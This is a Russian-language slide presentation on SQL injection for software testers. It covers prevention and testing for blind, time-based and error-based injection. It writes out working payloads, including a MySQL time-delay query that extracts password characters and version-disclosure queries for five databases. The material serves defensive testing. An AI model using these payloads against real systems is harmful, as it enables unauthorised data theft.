SlideShare una empresa de Scribd logo
1 de 29
SQL-инъекции
в тестировании
Definition of SQL injection
Внедрение SQL кода - один из
распространенных способов взлома сайтов
и программ, работающих с базами данных
Экранирование символов — это необходимая конвертация
строк для правильного составлении структурированных
текстов, таких как SQL-запрос.
Внедрение SQL, в зависимости от типа системы
управления базами данных и условий внедрения,
может дать возможность атакующему выполнить
произвольный запрос в базу данных, получить
возможность чтения и/или записи файлов и
выполнения произвольных команд на атакуемом
сервере.
Явные SQL инъекции - запрашиваемые данные
отображаются на странице
Профилактика / теория
НЕ использовать
динамических
запросов к базе
НЕ использовать пользовательских данных
в запросах
Профилактика / Практика
1. Не помещать в БД данные без обработки. Это можно сделать либо
с помощью подготовленных выражений, либо обрабатывая параметры
вручную.
2. Не помещать в запрос управляющие структуры и идентификаторы,
введенные пользователем. А заранее прописывать в скрипте список
возможных вариантов, и выбирать только из них.
Тестирование
- Подстановка кавычек с запросом и
закомментированным окончанием (/*,--)
- Присоединение запросов оператором UNION
- Проверка на логические уязвимости поисковых
структур (Оператор LIKE - символы ‘&’ и ‘_’)
Классическая blind SQL injection - запрашиваемые
данные не отображаются. Aтакующий манипулирует
логикой работы приложения (true/false).
http://newspaper.com/items.php?id=2
SELECT title, description, body
FROM items
WHERE ID =2
Обнаружение уязвимости
http://newspaper.com/items.php?id=2 and ‘1’=‘1’--
SELECT title, description, body FROM items
WHERE ID =2 and 1=1;
http://newspaper.com/items.php?id=2 and ‘1’=‘2’--
SELECT title, description, body FROM items
WHERE ID =2 and 1=2;
Тестирование
1. Проверки обработки истинных и ложных запросов
2. Проверка подстановкой известных данных
(пользователей, таблиц)
Double blind SQL injection - запрашиваемые данные
не отображаются. Aтакующий манипулирует логикой
работы приложения (true/false) и временными
задержками.
MySQL:
site.com/index.php?id=1 UNION SELECT
IF(SUBSTRING(user_password,1,1) =
CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5
seconds')),null) FROM users WHERE user_id = 1;
Функции временной задержки для других типов БД
MS SQL:
'WAIT FOR DELAY '0:0:10
PostgreSQL:
pg_sleep()
Тестирование
1. Проверка отсутствия временных задержек при
выполнении истинных и ложных запросов
2. Подбор приемлемого времени отклика
3. Проверка подстановкой известных данных
(пользователей, таблиц)
Error based injection
Вывод информации в сообщениях об
ошибках.
Выявление - использование готовых техник
для соответствующих типов баз данных
Вывод версии базы данных в сообщении об ошибках
MySQL: site.com/index.php?id=2’ OR (SELECT COUNT(*) FROM
(SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID
(VERSION (), FLOOR(RAND(0)*2), 64)) --
При наличии уязвимости приложение вернет ошибку:
Duplicate entry ‘5.0.45’ for key 1
Запросы для других баз данных
● PostgreSQL:
site.com/index.php?id=1 and(1)=cast(version() as numeric)--
● MSSQL:
site.com/index.php?id=1 and(1)=convert(int,@@version)--
● Sybase:
site.com/index.php?id=1 and(1)=convert(int,@@version)--
● Oracle:
site.com/index.php?id=1 and(1)=(select
upper(XMLType(chr(60)||chr(58)||(select
replace(banner,chr(58)) from sys.v_$version where
rownum=1)||chr(62))) from dual)--
Тестирование
1. Определение версии и типа БД
2. Использование готовых запросов для
определенной БД
Aвтоматизация тестирования
● sqlmap
● WITOOL
● WebCruiser
● Mozilla tool - SQL Inject me
● Netsparker
sqlma
sqlmap
Заключение
● Проверки приложения на уязвимости повысят качество
тестирования
● Тесты быстрые и простые
● Можно использовать инструмент для автоматизированного
тестирования
Полезные ссылки
List of the best SQL scanners and Tools http://www.ma-
no.org/en/content/index_a-list-of-best-free-sql-injection-scanners-and-
tools_1649.php
SQL injection.
http://habrahabr.ru/post/87872/
http://habrahabr.ru/post/130826/
https://www.owasp.org/index.php/Blind_SQL_Injection
https://www.youtube.com/watch?v=eE-W2_M_mMU&feature=youtu.be -
SQL инъекции. Защита и нападение
http://sqadays.com/ru/talk/24027 - Слепые SQL иньекции (sqadays#16)

Más contenido relacionado

Destacado

Intercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколенияIntercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколения
Positive Hack Days
 
Демонстрация атаки на ДБО
Демонстрация атаки на ДБОДемонстрация атаки на ДБО
Демонстрация атаки на ДБО
Dmitry Evteev
 
Три вызова реляционным СУБД и новый PostgreSQL - #PostgreSQLRussia семинар по...
Три вызова реляционным СУБД и новый PostgreSQL - #PostgreSQLRussia семинар по...Три вызова реляционным СУБД и новый PostgreSQL - #PostgreSQLRussia семинар по...
Три вызова реляционным СУБД и новый PostgreSQL - #PostgreSQLRussia семинар по...
Nikolay Samokhvalov
 

Destacado (20)

Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложений
 
Город никогда не спит / The City Never Sleeps
Город никогда не спит / The City Never SleepsГород никогда не спит / The City Never Sleeps
Город никогда не спит / The City Never Sleeps
 
Как начать бизнес в ИБ
Как начать бизнес в ИБКак начать бизнес в ИБ
Как начать бизнес в ИБ
 
SerVal site monitoring presentation - Презентация SerVal
SerVal site monitoring presentation - Презентация SerValSerVal site monitoring presentation - Презентация SerVal
SerVal site monitoring presentation - Презентация SerVal
 
Сергей Федоров - Современная безопасность от Eset
Сергей Федоров - Современная безопасность от EsetСергей Федоров - Современная безопасность от Eset
Сергей Федоров - Современная безопасность от Eset
 
6.2. Hacking most popular websites
6.2. Hacking most popular websites6.2. Hacking most popular websites
6.2. Hacking most popular websites
 
Intercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколенияIntercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколения
 
анализ кода: от проверки стиля до автоматического тестирования
анализ кода: от проверки стиля до автоматического тестированияанализ кода: от проверки стиля до автоматического тестирования
анализ кода: от проверки стиля до автоматического тестирования
 
4.3. Rat races conditions
4.3. Rat races conditions4.3. Rat races conditions
4.3. Rat races conditions
 
Идентификация и аутентификация - встроенные функции безопасности или задачи с...
Идентификация и аутентификация - встроенные функции безопасности или задачи с...Идентификация и аутентификация - встроенные функции безопасности или задачи с...
Идентификация и аутентификация - встроенные функции безопасности или задачи с...
 
Непрерывный анализ качества кода с помощью SonarQube
Непрерывный анализ качества кода с помощью SonarQubeНепрерывный анализ качества кода с помощью SonarQube
Непрерывный анализ качества кода с помощью SonarQube
 
PiterPy#3. DSL in Python. How and why?
PiterPy#3. DSL in Python. How and why?PiterPy#3. DSL in Python. How and why?
PiterPy#3. DSL in Python. How and why?
 
Тестирование iOS приложений. С чего начать?
Тестирование iOS приложений. С чего начать?Тестирование iOS приложений. С чего начать?
Тестирование iOS приложений. С чего начать?
 
Тестирование безопасности: PHP инъекция
Тестирование безопасности: PHP инъекцияТестирование безопасности: PHP инъекция
Тестирование безопасности: PHP инъекция
 
Описание задач «Научного Хакатона»
Описание задач «Научного Хакатона»Описание задач «Научного Хакатона»
Описание задач «Научного Хакатона»
 
Демонстрация атаки на ДБО
Демонстрация атаки на ДБОДемонстрация атаки на ДБО
Демонстрация атаки на ДБО
 
Query Optimization in SQL Server
Query Optimization in SQL ServerQuery Optimization in SQL Server
Query Optimization in SQL Server
 
Stored procedure tuning and optimization t sql
Stored procedure tuning and optimization t sqlStored procedure tuning and optimization t sql
Stored procedure tuning and optimization t sql
 
Три вызова реляционным СУБД и новый PostgreSQL - #PostgreSQLRussia семинар по...
Три вызова реляционным СУБД и новый PostgreSQL - #PostgreSQLRussia семинар по...Три вызова реляционным СУБД и новый PostgreSQL - #PostgreSQLRussia семинар по...
Три вызова реляционным СУБД и новый PostgreSQL - #PostgreSQLRussia семинар по...
 
Fingerprinting and Attacking a Healthcare Infrastructure
Fingerprinting and Attacking a Healthcare InfrastructureFingerprinting and Attacking a Healthcare Infrastructure
Fingerprinting and Attacking a Healthcare Infrastructure
 

Similar a Sql инъекции в тестировании

005
005005
005
JIuc
 
006
006006
006
JIuc
 
0041
00410041
0041
JIuc
 
Advanced Sql Injection
Advanced Sql InjectionAdvanced Sql Injection
Advanced Sql Injection
Dmitry Evteev
 
Safety and Security of Web-applications (Document)
Safety and Security of Web-applications (Document)Safety and Security of Web-applications (Document)
Safety and Security of Web-applications (Document)
MrCoffee94
 
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
7bits
 

Similar a Sql инъекции в тестировании (20)

Sql injection
Sql injectionSql injection
Sql injection
 
PT Hackday#2
PT Hackday#2PT Hackday#2
PT Hackday#2
 
PT MIFI Labsql
PT MIFI LabsqlPT MIFI Labsql
PT MIFI Labsql
 
Benchmark сканеров SQL injection
Benchmark сканеров SQL injectionBenchmark сканеров SQL injection
Benchmark сканеров SQL injection
 
PT MIFI Labsql
PT MIFI LabsqlPT MIFI Labsql
PT MIFI Labsql
 
Database security
Database securityDatabase security
Database security
 
JDBC
JDBCJDBC
JDBC
 
005
005005
005
 
006
006006
006
 
PT Hackday#2
PT Hackday#2PT Hackday#2
PT Hackday#2
 
0041
00410041
0041
 
пр000 (2часа)e rwin
пр000 (2часа)e rwinпр000 (2часа)e rwin
пр000 (2часа)e rwin
 
Advanced Sql Injection
Advanced Sql InjectionAdvanced Sql Injection
Advanced Sql Injection
 
SQL Server Security Best Practices - Евгений Недашковский
SQL Server Security Best Practices - Евгений НедашковскийSQL Server Security Best Practices - Евгений Недашковский
SQL Server Security Best Practices - Евгений Недашковский
 
Safety and Security of Web-applications (Document)
Safety and Security of Web-applications (Document)Safety and Security of Web-applications (Document)
Safety and Security of Web-applications (Document)
 
Lekcia9
Lekcia9Lekcia9
Lekcia9
 
Blind SQL Injections. Достаточно ли хороши ваши тесты?
Blind SQL Injections. Достаточно ли хороши ваши тесты?Blind SQL Injections. Достаточно ли хороши ваши тесты?
Blind SQL Injections. Достаточно ли хороши ваши тесты?
 
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
Стажировка-2014, занятие 6. Информационная безопасность и атаки на сервер.
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
Модифицируемость программных систем
Модифицируемость программных системМодифицируемость программных систем
Модифицируемость программных систем
 

Más de ISsoft

введение в практическую разработку по в Is soft 4-1 and 4-2 clients and commu...
введение в практическую разработку по в Is soft 4-1 and 4-2 clients and commu...введение в практическую разработку по в Is soft 4-1 and 4-2 clients and commu...
введение в практическую разработку по в Is soft 4-1 and 4-2 clients and commu...
ISsoft
 
Testing, qa, qc. what the difference
Testing, qa, qc. what the differenceTesting, qa, qc. what the difference
Testing, qa, qc. what the difference
ISsoft
 
Ranorex presentation
Ranorex presentationRanorex presentation
Ranorex presentation
ISsoft
 
Bdd and dsl как способ построения коммуникации на проекте
Bdd and dsl как способ построения коммуникации на проектеBdd and dsl как способ построения коммуникации на проекте
Bdd and dsl как способ построения коммуникации на проекте
ISsoft
 
Тестирование требований
Тестирование требованийТестирование требований
Тестирование требований
ISsoft
 
Тестирование требований
Тестирование требованийТестирование требований
Тестирование требований
ISsoft
 
Sql practise for beginners
Sql practise for beginnersSql practise for beginners
Sql practise for beginners
ISsoft
 
Отдел юзабилити
Отдел юзабилитиОтдел юзабилити
Отдел юзабилити
ISsoft
 
ToDoList
ToDoListToDoList
ToDoList
ISsoft
 
Prototype presentation
Prototype presentationPrototype presentation
Prototype presentation
ISsoft
 
решение основной проблемы Agile (scrum) проектов в контексте ba
решение основной проблемы Agile (scrum) проектов в контексте baрешение основной проблемы Agile (scrum) проектов в контексте ba
решение основной проблемы Agile (scrum) проектов в контексте ba
ISsoft
 
решение одной из ключевых проблем компетенции Ba специалистов
решение одной из ключевых проблем компетенции Ba специалистоврешение одной из ключевых проблем компетенции Ba специалистов
решение одной из ключевых проблем компетенции Ba специалистов
ISsoft
 
Development of automated tests for ext js based web sites
Development of automated tests for ext js based web sitesDevelopment of automated tests for ext js based web sites
Development of automated tests for ext js based web sites
ISsoft
 
Bdd or dsl как способ построения коммуникации на проекте
Bdd or dsl как способ построения коммуникации на проектеBdd or dsl как способ построения коммуникации на проекте
Bdd or dsl как способ построения коммуникации на проекте
ISsoft
 
инфотекс автоматизация тестирования
инфотекс   автоматизация тестированияинфотекс   автоматизация тестирования
инфотекс автоматизация тестирования
ISsoft
 
Sikuli script
Sikuli scriptSikuli script
Sikuli script
ISsoft
 

Más de ISsoft (20)

введение в практическую разработку по в Is soft 4-1 and 4-2 clients and commu...
введение в практическую разработку по в Is soft 4-1 and 4-2 clients and commu...введение в практическую разработку по в Is soft 4-1 and 4-2 clients and commu...
введение в практическую разработку по в Is soft 4-1 and 4-2 clients and commu...
 
Testing of mobile apps
Testing of mobile appsTesting of mobile apps
Testing of mobile apps
 
Testing, qa, qc. what the difference
Testing, qa, qc. what the differenceTesting, qa, qc. what the difference
Testing, qa, qc. what the difference
 
Ranorex presentation
Ranorex presentationRanorex presentation
Ranorex presentation
 
Bugs
BugsBugs
Bugs
 
Bdd j behave or cucumber jvm plus appium for efficient cross platform mobile ...
Bdd j behave or cucumber jvm plus appium for efficient cross platform mobile ...Bdd j behave or cucumber jvm plus appium for efficient cross platform mobile ...
Bdd j behave or cucumber jvm plus appium for efficient cross platform mobile ...
 
Bdd and dsl как способ построения коммуникации на проекте
Bdd and dsl как способ построения коммуникации на проектеBdd and dsl как способ построения коммуникации на проекте
Bdd and dsl как способ построения коммуникации на проекте
 
Тестирование требований
Тестирование требованийТестирование требований
Тестирование требований
 
Тестирование требований
Тестирование требованийТестирование требований
Тестирование требований
 
Sql practise for beginners
Sql practise for beginnersSql practise for beginners
Sql practise for beginners
 
Отдел юзабилити
Отдел юзабилитиОтдел юзабилити
Отдел юзабилити
 
ToDoList
ToDoListToDoList
ToDoList
 
ISTQB
ISTQBISTQB
ISTQB
 
Prototype presentation
Prototype presentationPrototype presentation
Prototype presentation
 
решение основной проблемы Agile (scrum) проектов в контексте ba
решение основной проблемы Agile (scrum) проектов в контексте baрешение основной проблемы Agile (scrum) проектов в контексте ba
решение основной проблемы Agile (scrum) проектов в контексте ba
 
решение одной из ключевых проблем компетенции Ba специалистов
решение одной из ключевых проблем компетенции Ba специалистоврешение одной из ключевых проблем компетенции Ba специалистов
решение одной из ключевых проблем компетенции Ba специалистов
 
Development of automated tests for ext js based web sites
Development of automated tests for ext js based web sitesDevelopment of automated tests for ext js based web sites
Development of automated tests for ext js based web sites
 
Bdd or dsl как способ построения коммуникации на проекте
Bdd or dsl как способ построения коммуникации на проектеBdd or dsl как способ построения коммуникации на проекте
Bdd or dsl как способ построения коммуникации на проекте
 
инфотекс автоматизация тестирования
инфотекс   автоматизация тестированияинфотекс   автоматизация тестирования
инфотекс автоматизация тестирования
 
Sikuli script
Sikuli scriptSikuli script
Sikuli script
 

Sql инъекции в тестировании

  • 2. Definition of SQL injection Внедрение SQL кода - один из распространенных способов взлома сайтов и программ, работающих с базами данных
  • 3. Экранирование символов — это необходимая конвертация строк для правильного составлении структурированных текстов, таких как SQL-запрос.
  • 4. Внедрение SQL, в зависимости от типа системы управления базами данных и условий внедрения, может дать возможность атакующему выполнить произвольный запрос в базу данных, получить возможность чтения и/или записи файлов и выполнения произвольных команд на атакуемом сервере.
  • 5.
  • 6. Явные SQL инъекции - запрашиваемые данные отображаются на странице
  • 7.
  • 8.
  • 9.
  • 10.
  • 11. Профилактика / теория НЕ использовать динамических запросов к базе НЕ использовать пользовательских данных в запросах
  • 12. Профилактика / Практика 1. Не помещать в БД данные без обработки. Это можно сделать либо с помощью подготовленных выражений, либо обрабатывая параметры вручную. 2. Не помещать в запрос управляющие структуры и идентификаторы, введенные пользователем. А заранее прописывать в скрипте список возможных вариантов, и выбирать только из них.
  • 13. Тестирование - Подстановка кавычек с запросом и закомментированным окончанием (/*,--) - Присоединение запросов оператором UNION - Проверка на логические уязвимости поисковых структур (Оператор LIKE - символы ‘&’ и ‘_’)
  • 14.
  • 15.
  • 16. Классическая blind SQL injection - запрашиваемые данные не отображаются. Aтакующий манипулирует логикой работы приложения (true/false). http://newspaper.com/items.php?id=2 SELECT title, description, body FROM items WHERE ID =2
  • 17. Обнаружение уязвимости http://newspaper.com/items.php?id=2 and ‘1’=‘1’-- SELECT title, description, body FROM items WHERE ID =2 and 1=1; http://newspaper.com/items.php?id=2 and ‘1’=‘2’-- SELECT title, description, body FROM items WHERE ID =2 and 1=2;
  • 18. Тестирование 1. Проверки обработки истинных и ложных запросов 2. Проверка подстановкой известных данных (пользователей, таблиц)
  • 19. Double blind SQL injection - запрашиваемые данные не отображаются. Aтакующий манипулирует логикой работы приложения (true/false) и временными задержками. MySQL: site.com/index.php?id=1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;
  • 20. Функции временной задержки для других типов БД MS SQL: 'WAIT FOR DELAY '0:0:10 PostgreSQL: pg_sleep()
  • 21. Тестирование 1. Проверка отсутствия временных задержек при выполнении истинных и ложных запросов 2. Подбор приемлемого времени отклика 3. Проверка подстановкой известных данных (пользователей, таблиц)
  • 22. Error based injection Вывод информации в сообщениях об ошибках. Выявление - использование готовых техник для соответствующих типов баз данных
  • 23. Вывод версии базы данных в сообщении об ошибках MySQL: site.com/index.php?id=2’ OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID (VERSION (), FLOOR(RAND(0)*2), 64)) -- При наличии уязвимости приложение вернет ошибку: Duplicate entry ‘5.0.45’ for key 1
  • 24. Запросы для других баз данных ● PostgreSQL: site.com/index.php?id=1 and(1)=cast(version() as numeric)-- ● MSSQL: site.com/index.php?id=1 and(1)=convert(int,@@version)-- ● Sybase: site.com/index.php?id=1 and(1)=convert(int,@@version)-- ● Oracle: site.com/index.php?id=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||(select replace(banner,chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--
  • 25. Тестирование 1. Определение версии и типа БД 2. Использование готовых запросов для определенной БД
  • 26. Aвтоматизация тестирования ● sqlmap ● WITOOL ● WebCruiser ● Mozilla tool - SQL Inject me ● Netsparker
  • 28. Заключение ● Проверки приложения на уязвимости повысят качество тестирования ● Тесты быстрые и простые ● Можно использовать инструмент для автоматизированного тестирования
  • 29. Полезные ссылки List of the best SQL scanners and Tools http://www.ma- no.org/en/content/index_a-list-of-best-free-sql-injection-scanners-and- tools_1649.php SQL injection. http://habrahabr.ru/post/87872/ http://habrahabr.ru/post/130826/ https://www.owasp.org/index.php/Blind_SQL_Injection https://www.youtube.com/watch?v=eE-W2_M_mMU&feature=youtu.be - SQL инъекции. Защита и нападение http://sqadays.com/ru/talk/24027 - Слепые SQL иньекции (sqadays#16)